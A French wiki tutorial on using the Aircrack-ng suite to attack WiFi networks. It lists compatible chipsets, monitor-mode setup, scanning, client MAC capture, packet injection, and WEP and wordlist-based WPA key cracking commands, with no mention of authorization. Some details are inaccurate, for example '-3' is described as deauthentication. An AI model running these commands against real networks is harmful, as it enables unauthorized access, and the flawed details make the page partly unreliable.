[Exploitation/WiFi] Aircrack-ng

Introduction

La suite d'outils **Aircrack-ng** permettent d'attaquer des réseaux wifi. L'outil est installé par défaut sur Kali Linux.

Sources

- Cartes wifi compatibles

Prérequis

1. Une carte réseau wifi avec les chipsets suivants :

- Atheros AR9271
- Ralink RT3070
- Ralink RT3572
- Ralink RT5572
- Realtek RTL8812AU
- Ralink RT5370N

Manuel

Les réseaux sans-fil WEP sont très mal sécurisés ce qui permet de les exploiter très facilement et ne prend généralement pas plus de quelques minutes.

Affichez les interfaces réseaux wifi utilisables pour votre attaque :

```
sudo airmon-ng
```

Commencez par éteindre l'interface de votre carte réseau wifi :

```
sudo airmon-ng stop <IFACE>
```

Passez-la en mode moniteur :

```
sudo airmon-ng start <IFACE>
```

Démarrez l'interface :

```
sudo ip link set <IFACE> up
```

Scannez les réseaux wifi des environs :

```
sudo airodump-ng --write <FILE> <IFACE>
```

> Les résultats seront stockés dans le fichier spécifié.

Désormais, mettez de côté le **BSSID** (adresse MAC du point d'accès) ainsi que le **ESSID** (nom affiché) du point d'accès que vous souhaitez cibler.

Maintenant ce qui est intéressant c'est de récupérer l'adresse MAC d'un hôte connecté sur ce réseau :

```
sudo airodump-ng <IFACE> --write <FILE> -channel <CHANNEL> --bssid <BSSID>
```

Lorsque vous aurez mis de côté une adresse MAC, fermez airodump et préparez deux terminaux.

Lancez la commande suivante dans le premier terminal afin de bombarder la cible avec des paquets de désauthentification :

```
sudo aireplay-ng -3 -e <ESSID> -b <BSSID> -h <HOST_MAC> <IFACE>
```

> On peut aussi utiliser l'option **-x** afin de spécifier une vitesse de l'injection de paquet. Par défaut cette vitesse est définie à 600 paquets par seconde mais il est recommandé d'augmenter si vous êtes vraiment proche du point d'accès afin de capturer davantage d'**IVs** , et au contraire il est recommandé de le diminuer si vous êtes loin pour éviter de faire planter le point d'accès.

Dans le second terminal, lancez la commande suivante en remplaçant les options par les fichiers capturés par aireplay :

WEP

```
aircrack-ng -x <FILE.cap> <FILE.ivs>
```

WPA

```
aircrack-ng -a2 -b <BSSID> -w <WORDLIST> <FILE.cap>
```

Revision #6
Created 26 October 2023 16:16:43 by Elieroc
Updated 3 May 2024 13:13:10 by Elieroc